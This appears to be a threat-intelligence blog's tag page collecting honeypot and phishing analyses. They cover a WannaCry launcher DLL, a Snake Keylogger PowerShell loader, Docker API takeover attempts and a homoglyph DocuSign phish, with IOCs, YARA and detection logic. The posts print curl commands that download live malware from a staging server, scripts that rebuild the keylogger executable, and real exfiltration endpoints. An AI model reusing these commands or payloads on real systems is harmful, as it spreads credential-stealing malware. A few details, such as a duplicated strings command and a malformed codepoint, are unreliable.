14 posts tagged with "iocs"

Overview​

Nearly a decade after its historic global outbreak in May 2017, the automated scanning and exploitation apparatus behind WannaCry (WanaCrypt0r 2.0) remains an active fixture of the IPv4 background noise. Threat actors and automated worm bots continue spraying vulnerable endpoints with NSA-leaked EternalBlue (MS17-010) exploits and DoublePulsar kernel backdoor payloads.

On September 28, 2026 at 08:33 UTC, Malware on Tap's honeypot sensor(s) intercepted an active exploitation sequence originating from Brazil (186.193.28.12). The sensor's SMB emulation engine captured 2,584 frames of raw SMBv1 traffic, assembling a 5.02 MB PE32 DLL payload (launcher.dll, SHA256: ec481093436e1c5a03aaed1a4bc70b6aff99a75e6b1757fb19ec2a676fab0155).

Attack Progression & Protocol Analysis​

The attacker bot orchestrated a sequential multi-stage probe across five discrete TCP connections before initiating payload transfer:

Binary Deep Dive: launcher.dll​

Static dissection of the dropped binary (afc8cc2c81345acf3a1f4add32c460bf) confirms that it is the canonical 32-bit launcher.dll component designed to bootstrap the core ransomware encryptor (tasksche.exe).

PE Header & Export Characteristics​

Parsing the portable executable headers reveals strict alignment with the original May 2017 outbreak binaries:

PE Format:             PE32 (x86 32-bit Dynamic Link Library)
Compilation Timestamp: 1494505297 (Thu, 11 May 2017 12:21:37 UTC)
Image Base:            0x10000000
Entry Point:           0x11e9
Export Table:          launcher.dll (1 exported function)
  Ordinal 1:           PlayGame (RVA 0x1114)

The exported symbol PlayGame is the signature entry point executed by DoublePulsar's user-mode APC injector or via command-line execution:

rundll32.exe launcher.dll,PlayGame

Section Breakdown & Embedded Resource .rsrc​

The section table demonstrates an extraordinarily bloated resource section comprising 99.5% of the entire binary footprint:

Embedded Archive Extraction & Decryption Password​

Located at byte offset 0x3c6d6 within the .rsrc section is the PK ZIP file header (PK\x03\x04). At offset 0x45634, the binary contains the hardcoded password string used to decompress the bundled assets:

WNcry@2ol7

Upon invocation of PlayGame, launcher.dll unpacks this internal ZIP archive, dropping the primary decryptor UI (tasksche.exe), helper utilities (taskse.exe, taskhsvc.exe), the spreader service (mssecsvc.exe), and localized ransom notes (msg/m_*.wnry) across 28 languages.

Extracted Indicators & Mutex Telemetry​

Strings recovered from the payload match WannaCry's known operational signatures:

Infection Mutex:   Global\MsWinZonesCacheCounterMutexA
Service Display:   mssecsvc2.0
Service Binary:    mssecsvc.exe
File Extension:    .wnry
File Magic:        WANACRY

Hardcoded Bitcoin Extortion Wallets​

The binary contains the three infamous static cryptocurrency destination wallets assigned to victims for ransom payments:

• 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
• 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
• 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Detection Engineering​

YARA Detection Rule​

rule MAL_PE_WannaCry_Launcher_DLL {
    meta:
        description = "Detects WannaCry ransomware launcher.dll payload deployed via DoublePulsar SMB exploitation"
        author = "Malware On Tap"
        date = "2026-09-28"
        reference = "https://malwareontap.com/fresh-pour/september282026"
        hash_sha256 = "ec481093436e1c5a03aaed1a4bc70b6aff99a75e6b1757fb19ec2a676fab0155"
    strings:
        $export = "PlayGame" ascii
        $dll_name = "launcher.dll" ascii
        $zip_pwd = "WNcry@2ol7" ascii
        $mutex = "Global\\MsWinZonesCacheCounterMutexA" ascii wide
        $service = "mssecsvc2.0" ascii wide
        $btc1 = "115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn" ascii
        $btc2 = "12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw" ascii
        $btc3 = "13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94" ascii
    condition:
        uint16(0) == 0x5a4d and
        uint32(uint32(0x3c)) == 0x00004550 and
        filesize > 5MB and filesize < 6MB and
        $export and $dll_name and $zip_pwd and
        ($mutex or $service or 1 of ($btc*))
}

Indicators of Compromise (IOCs)​

Overview​

This post details the static analysis and decryption of two malicious scripts: eecrypted.ps1 (documented on URLhaus #3906259) and ugcrypted.ps1 (documented on URLhaus #3906260), both hosted on the malicious staging server 178.16.53.176.

The initial hex-encoded XOR payload loader decrypts and runs the reflective loading helper (RACE.EXECUTE) that hollows out aspnet_compiler.exe to run Snake Keylogger.

Methodology​

To statically analyze this threat chain safely without execution, the following manual steps can be performed.

1. Safe Acquisition​

To prevent accidental execution, retrieve the staging payloads using curl with the output redirected to a safe, non-executable text format:

curl -s -o ./eecrypted_payload.txt http://178.16.53.176/DVB/eecrypted.ps1
curl -s -o ./ugcrypted_payload.txt http://178.16.53.176/DVB/ugcrypted.ps1

2. Manual Layer 1 Decryption (Hex-XOR)​

The payload loader starts with a hex-encoded block ($encryptedHexData) and a hex-encoded XOR key ($decryptionHexKey). Extract the blobs from the file and decrypt them interactively in a Python shell (python3):

import re

# 1. Read the raw powershell crypter file
with open('./ugcrypted_payload.txt', 'r', encoding='utf-8') as f:
    text = f.read()

# 2. Extract the hex payload and the 32-byte XOR key using regex
hex_data = re.search(r'\$encryptedHexData\s*=\s*@\'\s*(.*?)\s*\'@', text, re.DOTALL).group(1)
hex_key = re.search(r'\$decryptionHexKey\s*=\s*@\'\s*(.*?)\s*\'@', text, re.DOTALL).group(1)

# 3. Clean up the hex string and convert both to raw byte streams
cipher_bytes = bytes.fromhex(hex_data.replace('\n', '').replace('\r', ''))
key_bytes = bytes.fromhex(hex_key)

# 4. Perform the XOR loop
plain_bytes = bytes(b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(cipher_bytes))

# 5. Save the output as a decrypted PowerShell script
with open('layer1_decrypted.ps1', 'wb') as out:
    out.write(plain_bytes)

3. Manual Layer 2 Decryption (Base64-XOR)​

The decrypted Layer 1 output contains a base64-encoded $encodedData block decrypted using a hardcoded string key: "NIJAcoder76@@".

To extract and decrypt it:

import base64
import re

# 1. Read the decrypted Layer 1 script
with open('layer1_decrypted.ps1', 'r', encoding='utf-8') as f:
    l1_text = f.read()

# 2. Extract the Base64 cipher text block
b64_cipher = re.search(r"\$encodedData\s*=\s*'(.*?)'", l1_text, re.DOTALL).group(1)
clean_b64 = re.sub(r'\s+', '', b64_cipher) # Remove whitespaces

# 3. Decode the base64 string
cipher_bytes = base64.b64decode(clean_b64)

# 4. XOR decrypt using the key bytes of "NIJAcoder76@@"
key_bytes = b"NIJAcoder76@@"
plain_bytes = bytes(b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(cipher_bytes))

# 5. Save the plain text (which is a base64 string of the final PE DLL)
with open('layer2_b64.txt', 'wb') as out:
    out.write(plain_bytes)

4. Manual Layer 3 Decoding (Base64 to PE Injection DLL)​

The decrypted Layer 2 output is the base64-encoded string representing the reflective helper DLL (RACE.EXECUTE). Decode it into a binary DLL:

import base64

# 1. Read the base64 string
with open('layer2_b64.txt', 'r', encoding='utf-8') as f:
    b64_pe = f.read().strip()

# 2. Base64 decode to retrieve the raw Portable Executable (PE) bytes
pe_bytes = base64.b64decode(b64_pe)

# 3. Save as the DLL executable
with open('injection_helper.dll', 'wb') as out:
    out.write(pe_bytes)

5. Final Snake Keylogger Payload Extraction​

The actual payload bytes are stored inside layer1_decrypted.ps1 as a raw array of integers under [Byte[]]$payloadBytes = (77, 90, 144, ...). To convert this array to a binary executable:

import re

# 1. Read the decrypted Layer 1 script
with open('layer1_decrypted.ps1', 'r', encoding='utf-8') as f:
    l1_text = f.read()

# 2. Extract the byte array string
byte_array_str = re.search(r'\[Byte\[\]\]\$payloadBytes\s*=\s*\((.*?)\)', l1_text, re.DOTALL).group(1)

# 3. Parse the string into a list of integers
byte_vals = [int(x) for x in re.split(r',|\s+', byte_array_str) if x.strip()]

# 4. Save the integers directly to file as raw bytes
with open('snake_payload.exe', 'wb') as out:
    out.write(bytes(byte_vals))

6. Manual Strings Audit​

Once you have extracted snake_payload.exe, you can statically audit its strings to find C2 domains, target DLLs, and exfiltration endpoints.

Using Unix Command Line:​

Use the built-in strings utility. Since Windows .NET binaries store strings in both 8-bit ASCII and 16-bit UTF-16le formats, run the command with different encoding flags:

# Extract ASCII strings
strings -n 4 snake_payload.exe | grep -E -i "http|bot|\.php|dns"

# Extract UTF-16 Little-Endian strings (common in .NET binaries)
strings -n 4 snake_payload.exe | grep -E -i "http|bot|\.php|dns"

Using Python (Cross-Platform):​

To automate this, run a Python script to scan the binary for both encodings and print suspicious keywords:

import re

# 1. Read binary data
with open('snake_payload.exe', 'rb') as f:
    data = f.read()

# 2. Match ASCII and UTF-16 strings (minimum 4 characters)
ascii_strings = re.findall(b"[a-zA-Z0-9/\\-:.,_$ %'\"@]{4,}", data)
unicode_strings = re.findall(b"(?:[a-zA-Z0-9/\\-:.,_$ %'\"@]\x00){4,}", data)

# 3. Decode and compile
all_strings = []
for s in ascii_strings:
    all_strings.append(s.decode('ascii', errors='ignore'))
for s in unicode_strings:
    all_strings.append(s.decode('utf-16le', errors='ignore'))

# 4. Filter and display C2 indicators
suspicious = [s.strip() for s in all_strings if any(k in s.lower() for k in ["http", "bot", ".php", "telegram", "dns", "kozow"])]
for s in sorted(list(set(suspicious))):
    print(s)

Tools Used​

• Custom Python decryption scripts (for multi-layer XOR/base64 decoding)
• Local file strings extraction and regex analysis
• Public Threat Intelligence databases (URLhaus, Abuse.ch, etc.)

Investigation​

Payload Analysis: Snake Keylogger​

Statically auditing the strings of the hollowed executables reveals typical indicators of Snake Keylogger (also known as 404 Keylogger):

• Credential Theft Targets: Searches for Firefox data files (nss3.dll, mozglue.dll), Foxmail credentials (Foxmail.exe), and other local credentials.
• Geolocation & IP Probing: Queries http://checkip.dyndns.org/ and https://reallyfreegeoip.org/xml/ to resolve host coordinates.
• Command & Control Infrastructure: Exfiltrates credentials and keystrokes to the following C2 endpoints:
  • http://varders.kozow.com:8081
  • http://aborters.duckdns.org:8081
  • http://anotherarmy.dns.army:8081
  • http://51.38.247.67:8081/_send_.php (exfiltration receiver script)
  • https://api.telegram.org/bot (Telegram Bot exfiltration fallback)

IOCs​

Detection Logic​

IF
Process = powershell.exe
AND Command Line contains "bxor" AND ("GetString" OR "FromBase64String")
THEN
Automated PowerShell Obfuscated Loader Download/Execution Detected

IF
Process = aspnet_compiler.exe
AND Network Connection established on Port 8081 OR to api.telegram.org
AND Process load list includes "mozglue.dll" OR "nss3.dll" (without Firefox parent)
THEN
Snake Keylogger Process Injection & Exfiltration Detected

Observations & Conclusions​

1. Multi-Layer Decryption: The PowerShell loader utilizes successive layers of XOR hex-ciphers and base64 arrays to evade signature-based endpoint detection.
2. Process Hollowing Injection: By targeting built-in .NET tools like aspnet_compiler.exe, the malware runs in-memory under a trusted Windows binary name, neutralizing standard process-tree audits.
3. Snake Keylogger C2: Network exfiltration relies on multi-homed dynamic DNS domains (duckdns, kozow, dns.army) alongside direct IP targets on custom ports.

Overview​

Exposing an unauthenticated Docker Engine API port (TCP 2375) to the public internet is one of the quickest ways to lose control of cloud infrastructure.

My newly deployed Docker API honeypot captured automated botnet scanners executing a complete, sub-second 4-stage attack chain:

Within ~100 milliseconds of confirming API responsiveness, automated exploit scripts transition from basic banner grabbing to full interactive container takeover attempts.

Methodology​

To dissect this attack progression, my analysis separates the incident into distinct operational phases:

1. Reconnaissance Identification: Filter raw TCP telemetry for initial port scans and banner probes (/version).
2. Ping & Daemon Verification: Isolate requests validating API availability (/_ping).
3. Payload Inspection: Analyze POST /containers/create JSON structures to extract container configurations and target images.
4. Interactive Upgrade Extraction: Inspect POST /containers/attach requests for raw TCP socket upgrade headers (Upgrade: tcp).
5. Timeline Correlation: Calculate exact millisecond deltas between API response and subsequent exploit execution.
6. Indicator Generation: Aggregate attacker IPs, User-Agent strings, and target API endpoints into reusable IOC tables and detection logic.

Tools used​

• Honeypot container logging raw HTTP REST API traffic on port 2375
• JSON telemetry parser for timestamp delta calculations and payload extraction
• Mermaid sequence diagramming for protocol flow visualization

Investigation​

Reconnaissance & API Version Probing​

The attack chain begins with wide-scope internet scanning to discover exposed Docker daemons.

Attacker IPs (such as 140.238.153.39 and 101.206.108.14) issue a lightweight version check using the Zgrab scanner framework:

GET /v1.16/version HTTP/1.1
Host: <HONEYPOT_IP>:2375
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip

Using zgrab/0.x allows attackers to rapidly sweep public IPv4 ranges and flag hosts that return standard Docker version metadata.

Responsiveness Check​

Once an IP is identified as open, a second request verifies that the Docker Engine API daemon is actively responding:

HEAD /_ping HTTP/1.1
Host: <HONEYPOT_IP>:2375
User-Agent: Docker-Client/20.10.18 (linux)

GET /_ping HTTP/1.1
Host: <HONEYPOT_IP>:2375
User-Agent: Docker-Client/1.13.1 (linux)
Accept-Encoding: gzip

By disguising their User-Agent as a legitimate Linux Docker CLI client (Docker-Client/20.10.18 or Docker-Client/1.13.1), the bot confirms that /_ping returns an HTTP 200 OK response.

Container Creation Attempt​

Just 111 milliseconds after receiving the ping confirmation, the attacker's automated script issues an API request to instantiate a new container:

POST /v1.24/containers/create HTTP/1.1
Host: <HONEYPOT_IP>:2375
User-Agent: Go-http-client/1.1
Content-Length: 2214
Content-Type: application/json

{
  "Hostname": "",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": true,
  "AttachStderr": true
}

The payload specifies container parameters designed to run privileged tasks or mount underlying host filesystems (such as /host or /var/run/docker.sock).

Interactive Shell Upgrade​

Immediately after submitting the container creation request (+110 ms), the bot attempts to attach an interactive socket stream to the container:

POST /v1.24/containers/attach?stderr=1&stdout=1&stream=1 HTTP/1.1
Host: <HONEYPOT_IP>:2375
User-Agent: Go-http-client/1.1
Content-Length: 0
Connection: Upgrade
Content-Type: text/plain
Upgrade: tcp

IOCs​

Detection Logic​

IF
Destination Port = 2375 (Docker Engine API)
AND HTTP Request = GET /v1.16/version OR HEAD /_ping
AND User-Agent MATCHES "zgrab" OR "Docker-Client"
THEN
Docker API Reconnaissance Scan Detected

IF
HTTP Request = POST /v1.24/containers/create
AND Followed within < 2 seconds by POST /v1.24/containers/attach
AND Request Header contains "Connection: Upgrade" AND "Upgrade: tcp"
THEN
Automated Unauthenticated Docker Daemon Takeover Attempt Detected

Observations & Conclusions​

1. Sub-Second Execution Speed: Exploitation is entirely automated — the transition from /_ping to containers/create and containers/attach takes under 120 milliseconds.
2. Standardized Toolchain: Attackers leverage zgrab for bulk port discovery, Go-http-client for REST API payloads, and spoofed Docker-Client headers for ping checks.
3. Primary Intent: Unauthenticated Docker socket exposure remains a prime vector for automated cryptojacking campaigns (kinsing, kdevtmpf) aiming to deploy resource-intensive container workloads.

Overview​

A sneaky brand impersonation attack hit my inbox disguised as an urgent DocuSign notification (Your DОϹU91826661542441 is ready).

This campaign used a combination of:

• homoglyph character substitution,
• email service provider (ESP) abuse,
• and open redirectors on compromised WordPress sites

Methodology​

For this type of email lure, I like to preserve a few layers separately:

1. Capture the rendered email and inbox spam warnings before interacting with links.
2. Review the sender, recipient, timestamps, homoglyphs, and ESP authentication results.
3. Inspect the raw HTML for hidden text, tracking, encoding tricks, and benign filler templates.
4. Trace link redirects using sandbox analysis and isolated browser tools.
5. Inspect the jump host environment, TLS certificate issuance history, and final landing page behavior.
6. Extract reusable IOCs and construct detection logic.

Tools used​

• Email source view for MIME structure, DKIM signatures, and homoglyph decoding
• Message authentication summary for SPF, DKIM, and DMARC results
• urlscan.io, urlquery, etc. sandbox for link expansion, TLS cert analysis, and HTTP redirect tracing
• Isolated browser inspection for domain, cPanel 404, and certificate details

Investigation​

Email authentication​

Delivered-To: [email protected]
Received: by 2002:a05:6000:2981:20b0:470:1989:2b with SMTP id gl1-n2csp382087wrb; Sat, 25 Jul 2026 13:23:13 -0700 (PDT)
X-Received: by 2002:a05:622a:5b8b:b0:51c:11b4:6b24 with SMTP id d75a77b69052e-529a839eaf9mr30388281cf.3.1785010993037; Sat, 25 Jul 2026 13:23:13 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1785010993; cv=none; d=google.com; s=arc-20260327; b=jc2U3u3oriGdaW3zKhRYbGj1CEYlYmguRS38AGYWbm8gveX7B86yYUiO0s0M7iBbF2 oVDANLiIYuaaZQGLDR0reqgBwZ8FaapypyN+eIFQQz13zOY69Kl91hlnt6APsmrCAEHz sq0bNJ+peR+l8qiavAjPF2K5scMRiVfpMmbRRmfX2oPTgZ1dZulB3VJCPiIRG3SE0UgA IdHcvE/1RTizvnx90LUIZreYH0JuUkw7/NWyH12XmRUgpHlddjT1Q62SLZC40bC1RbVo IxK/+z1OEzVDa0Zb3lExn0fV0gWFDHAWSa0tW8rLXR8b/7vr46YzjAEp8StEqQvWTrVG IM1g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327; h=list-unsubscribe-post:list-unsubscribe:mime-version:subject:to :reply-to:from:date:message-id:dkim-signature:dkim-signature; bh=rEOILjV78ogHqX9MMMMGWZeCQ79y6ZHG/KxudsG5+H0=; fh=XM/DofkuIl8YxShyFh70zFRSv5HB1tzZL88CBxycvV0=; b=LQlyyeXe/82+ggZ+ecguRc8Bje5rKaICVaN8WfK5VGyNFWTtyCOZzIU+CSm26mtsoX aNt9hp0qgqo9fn3Rw+eL0dko0WoNQqiczHBcZSMvSG3csckaZQm6u4JF80aP0lH6AIBD 6FDNtr6KqPcT6INOkyjqb4SxVfDqrw1qPf90MqqP/2n1br3LQvOUx8bXrgZAAXu2lpVJ 34jLj4tWdHVd/IC/kNSaNad4jEb7qOgTZ8woyPaOq1Q7xZ6WZoM6LhkbzP/jM/9f9d/D 5ON5Vdpt+1LGYflnucMF849tTvHOtj4S45LwJ8gELIH1LEUJ1eiudFDXF+aS6/+cXbeF S8KQ==; dara=google.com
ARC-Authentication-Results: i=1; mx.google.com; dkim=pass [email protected] header.s=12042023 header.b=GhADEAp8; dkim=pass [email protected] header.s=1000073432 header.b=BQKKmA2h; spf=pass (google.com: domain of avmjokt7ttosjvgioqix2pq==_1142334191866_tcsumohmefg6vqjccjiaaw==@in.constantcontact.com designates 208.75.123.235 as permitted sender) smtp.mailfrom="AvMjokt7tTOSJVgiOqIX2PQ==_1142334191866_TCSUMohmEfG6vQJCCjIAAw==@in.constantcontact.com"; dmarc=pass (p=REJECT sp=REJECT dis=NONE) header.from=ccsend.com
Return-Path: <AvMjokt7tTOSJVgiOqIX2PQ==_1142334191866_TCSUMohmEfG6vQJCCjIAAw==@in.constantcontact.com>
Received: from ccm235.constantcontact.com (ccm235.constantcontact.com. [208.75.123.235]) by mx.google.com with ESMTPS id d75a77b69052e-529a2b0c0f6si37975291cf.265.2026.07.25.13.23.12 for <[email protected]> (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sat, 25 Jul 2026 13:23:13 -0700 (PDT)
Received-SPF: pass (google.com: domain of avmjokt7ttosjvgioqix2pq==_1142334191866_tcsumohmefg6vqjccjiaaw==@in.constantcontact.com designates 208.75.123.235 as permitted sender) client-ip=208.75.123.235;
Authentication-Results: mx.google.com; dkim=pass [email protected] header.s=12042023 header.b=GhADEAp8; dkim=pass [email protected] header.s=1000073432 header.b=BQKKmA2h; spf=pass (google.com: domain of avmjokt7ttosjvgioqix2pq==_1142334191866_tcsumohmefg6vqjccjiaaw==@in.constantcontact.com designates 208.75.123.235 as permitted sender) smtp.mailfrom="AvMjokt7tTOSJVgiOqIX2PQ==_1142334191866_TCSUMohmEfG6vQJCCjIAAw==@in.constantcontact.com"; dmarc=pass (p=REJECT sp=REJECT dis=NONE) header.from=ccsend.com
DKIM-Signature: v=1; q=dns/txt; a=rsa-sha256; c=relaxed/relaxed; s=12042023; d=shared1.ccsend.com; h=date:mime-version:subject:X-Feedback-ID:X-250ok-CID:message-id:from:reply-to:list-unsubscribe:list-unsubscribe-post:to; bh=rEOILjV78ogHqX9MMMMGWZeCQ79y6ZHG/KxudsG5+H0=; b=GhADEAp8Hl9mtinYMtmO7cWOCCfkJyHS3LNc2GWRAtNuJWkNoGaHi/9Mn5AC0R2x9gCnUJFU7NBOSCUkOpKM4jh7X9HwBKw/oJVofst4COXz82o/q9PG0ttDxYEjJnZRNnGjO4llhMuHa83FUIopPb9YhHcdS2ylLTsTmApBftJNwQpSi4vBJArC827YX/CW9PMDYCegUeRKUtiZJDhuMYVLLHF2LJxnYzqGoXW5Xoh89J8txf05xq9DXOiZtF//rulJJX5JvVb9cBjSPEGgm1n01mXrLLzGjX5y4f3yfpIpHT8yEFl6cERimZTUiR13jrd/q3TNqfA2fJr7RQ4IWw==
DKIM-Signature: v=1; q=dns/txt; a=rsa-sha256; c=relaxed/relaxed; s=1000073432; d=auth.ccsend.com; h=date:mime-version:subject:X-Feedback-ID:X-250ok-CID:message-id:from:reply-to:list-unsubscribe:list-unsubscribe-post:to; bh=rEOILjV78ogHqX9MMMMGWZeCQ79y6ZHG/KxudsG5+H0=; b=BQKKmA2hm8ll5kaH7Ta9cQdLtzW8O7KwoNkUV8ZpGduqEjcTTy2kyV3dyXK3iNE97k60jRjTTxISdFivzZh51sT8dzwirbvnsZiy6kcjRJemEYQWj6Eu05Ao4xROp38tMCeUnoDVyG2E+nGKpsPIztEjqgrOBgcDnL9H7gA7wsg=
Message-ID: <1142334703227.1142334191866.1072553232.0.291622JL.2002@synd.ccsend.com>
Date: Sat, 25 Jul 2026 16:23:12 -0400 (EDT)
From: =?utf-8?Q?D=D0=9E=CF=B9U91826661542441=D0=85=D0=86G=CE=9D?= <[email protected]>
Reply-To: [email protected]
To: [email protected]
Subject: =?utf-8?Q?Your_D=D0=9E=CF=B991826661542441_is_ready?=
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_Part_275054477_708520069.1785010992844"
List-Unsubscribe: <https://visitor.constantcontact.com/do?p=un&m=001st0JLJ3BRgXpr0CayrEO5A%3D%3D&se=001cBN8W11zlBDfFajHrVJgTw%3D%3D&t=001EkZLEx15CcE%3D&llr=9h5yg7hbb>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
X-Campaign-Activity-ID: bcc8e892-deed-4ce4-8956-088ea885f63d
X-250ok-CID: bcc8e892-deed-4ce4-8956-088ea885f63d
X-Channel-ID: 4c249432-8866-11f1-babd-02420a320003
X-Return-Path-Hint: AvMjokt7tTOSJVgiOqIX2PQ==_1142334191866_TCSUMohmEfG6vQJCCjIAAw==@in.constantcontact.com
X-Roving-Campaignid: 1142334703227
X-Roving-Id: 1142334191866.1072553232
X-Feedback-ID: 4c249432-8866-11f1-babd-02420a320003:bcc8e892-deed-4ce4-8956-088ea885f63d:1142334191866:CTCT
X-CTCT-ID: 4c14f3f6-8866-11f1-babd-02420a320003

The message presented itself as:

From: DОϹU91826661542441ЅЅGΝ <[email protected]>
Reply-To: [email protected]
Subject: Your DОϹU91826661542441 is ready
Date: Sat, 25 Jul 2026 16:23:12 -0400

Observed authentication results:

SPF:   PASS (google.com: domain of constantcontact.com designates 208.75.123.235 as permitted sender)
DKIM:  PASS (shared1.ccsend.com and auth.ccsend.com)
DMARC: PASS (p=REJECT header.from=ccsend.com)

Because Constant Contact (ccm235.constantcontact.com / 208.75.123.235) is a legitimate bulk email marketing platform, the message passed all standard email authentication checks.

To evade automated Natural Language Processing (NLP) anti-phishing rules that flag words like DocuSign, the attacker replaced standard Latin characters with visually identical Cyrillic and Greek Unicode characters:

• Subject String: DОϹU91826661542441
  • О → Cyrillic Capital Letter O (U+041E)
  • Ϲ → Greek Lunate Sigma Symbol (U+03F2)
• Sender Display Name: DОϹU91826661542441ЅЅGΝ
  • Ѕ → Cyrillic Capital Letter Dze (U+0405)
  • Ν → Greek Capital Letter Nu (U+039N)

HTML filler​

The HTML and plain text bodies contained a complete template for a business (radosslabcare) with a discount code (SAVE20).

Inserting benign commercial text serves a dual purpose:

1. Classifier Confusion: Spam filters scoring content intent classify the body as a standard commercial promotional message.
2. Hidden Links: The actual visual link is tied to a large transparent overlay image pointing to the attacker's infrastructure.

Original links​

The primary link embedded in the message was wrapped via Constant Contact's tracking service:

https://9h5yg7hbb.cc.rs6.net/tn.jsp?f=001_jBSTymjOra5YfUT2qw9hXuChXdeMd26MdFnOw_DbLc1sErBjhURTLTMTGY1qUhLe-CFnbKIXq--vZW5n-j2kJY3Ppl89Kbs5dsCembTC1ceSa8NM80a0Sj8U1OOYU5GfqnHWCBbUfIr8gOQSqNt3YSq9_e4B0uJ

Which resolved to the first-stage jump host:

https://mcguiganflooring.com/mcguiganflooring/

Unsubscribe behavior​

The message included standard Constant Contact unsubscribe headers and footer links:

List-Unsubscribe: <https://visitor.constantcontact.com/do?p=un&m=001st0JLJ3BRgXpr0CayrEO5A%3D%3D...>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Because legitimate ESP headers were used, mail clients recognized one-click unsubscribe functionality, further helping the message bypass initial email filters.

Redirect script​

The jump host (mcguiganflooring.com/mcguiganflooring/) performed an HTTP 302 redirect directly to the second-stage domain:

HTTP/1.1 302 Found
Location: https://singdoctoyou.com/docsing/

Resulting redirect​

The destination of the redirect chain was:

https://singdoctoyou.com/docsing/

• Target Domain: singdoctoyou.com (possible typosquatting/anagram spoofing DocuSign).
• Path: /docsing/ (doc-sing).
• Domain Registration Date: July 21, 2026 (Registered just 4 days before the email was sent).
• Hosted On: Cloudflare (188.114.96.3).

By the time of inspection, the host and domain were suspended (/cgi-sys/suspendedpage.cgi), and Cloudflare WAF was blocking incoming connections.

I was too late, bummer!

Redirect host cover page and certificate​

Examining the jump host (mcguiganflooring.com):

• The initial link points to a UK flooring business website (mcguiganflooring.com).

• cPanel Compromise Timeline Correlation: Inspecting the SSL certificate for cpanel.mcguiganflooring.com reveals a Let's Encrypt TLS certificate issued on July 21, 2026 at 01:15 AM UTC — just 11 hours before the attacker registered the phishing target singdoctoyou.com (July 21 at 12:39 PM UTC)!

• Server Environment: Visiting missing subpaths (e.g. /liquid-screed/) returns a standard cPanel / Apache 404 error (The requested URL was not found on this server. Additionally, a 404 Not Found error...), indicating an underlying cPanel hosting account.

• Historical scans reveal this host was previously compromised to host probable credential theft scripts (e.g., /zz/enterpassword.php).

IOCs​

Detection Logic​

IF
Subject or Display Name contains non-ASCII homoglyphs resembling brand names (DocuSign)
AND Email originates from legitimate ESP infrastructure (Constant Contact / ccsend.com)
THEN
Homoglyph ESP abuse phishing attempt likely

Observations & Conclusions​

1. The attacker abused a legitimate Email Service Provider (Constant Contact) to obtain clean SPF, DKIM, and DMARC pass results.
2. Homoglyph character substitution (Cyrillic and Greek Unicode characters) was used in both the Subject and Display Name to bypass string-matching security rules.
3. The email body was stuffed with benign commercial promotional text to confuse content-based classification engines.
4. The initial link leveraged a compromised UK flooring company (mcguiganflooring.com), whose cPanel SSL certificate was re-issued just 11 hours before the phishing target domain was registered on July 21, 2026.
5. The final target (singdoctoyou.com/docsing/) was suspended shortly after the campaign launched.

Overview​

Oh no, my Prime subscription expired!

Your Subscription has expired!
Your Subscription for Prime expired on 16/06/2026
UPDATE MY PAYMENT DETAILS

The message appears like this in the inbox:

From: comoe ber <[email protected]>
Subject: Re: Reaching Out
Date: Sun, 14 Jun 2026 17:36:16 -0700

The body impersonates Prime Video, but the subject says nothing about Prime. It uses Re: Reaching Out, which is wonderfully vague.

The invoice-ish bit claims:

Subscription ID: 48521556984
Product: Prime
Expiration Date: 16/06/2026

The footer says:

You received this email because you subscribed to our newsletter.
© 2026 Amazon.com, Inc. All rights reserved.

Classic payment-recovery bait. Nothing about the sender path, unsubscribe metadata, or link hosting belongs to Amazon.

Methodology​

For this sample, I preserved a few layers separately:

1. Capture the rendered email before interacting with any links.
2. Review the sender path, authentication results, and SMTP submission trail.
3. Pull out the action URLs, image URLs, and unsubscribe URLs.
4. Check whether the first-hop infrastructure is still alive.
5. Separate reusable campaign-looking artifacts from one-off junk and copied residue.

Tools used​

• Gmail original message view for headers and raw source
• Local IOC extraction from the HTML and MIME body
• Browser screenshots for the rendered lure and dead hosted object(s)

Email Headers​

Delivered-To: [email protected]
Received: by 2002:a5d:4388:0:b0:45e:c606:5a52 with SMTP id i8csp801548wrq; Sun, 14 Jun 2026 17:36:18 -0700 (PDT)
X-Received: by 2002:a05:6a00:1255:b0:82c:20ec:6589 with SMTP id d2e1a72fcca58-8434d08fb02mr6040631b3a.3.1781483777888; Sun, 14 Jun 2026 17:36:17 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1781483777; cv=none; d=google.com; s=arc-20240605; b=WXdSVVEbcWalqUt+DtNLzYELJ8MIlL5r/zW+zYUN4uJlzXJMwNRjiOfw1jDGLFtg3K MSipq63Y//xPdHr0xPRl6YT9raexezQw0ZL+cYGcgy2IJTjImUVEiXfNhbte6MsOi4FF zka/HHoLgRw+hawZlUtfMoI/4G3Zw0+kYc+L3VdAa6t04aa76J9yXBev+NacbX6VCFBr TozAuNMDroQEAfQy6mt7JurdNsWRBMoJ6PuWcJZvyKEWFsQO3HzSKFLonjTXXIG6Qd6b E1SxU38WmsE+uJvpwFGCcUV9ykK3WAXXqUy/Ik9q/ckSUd6UJzhd2T8uZKhk4Nwu5d2A 08mA==
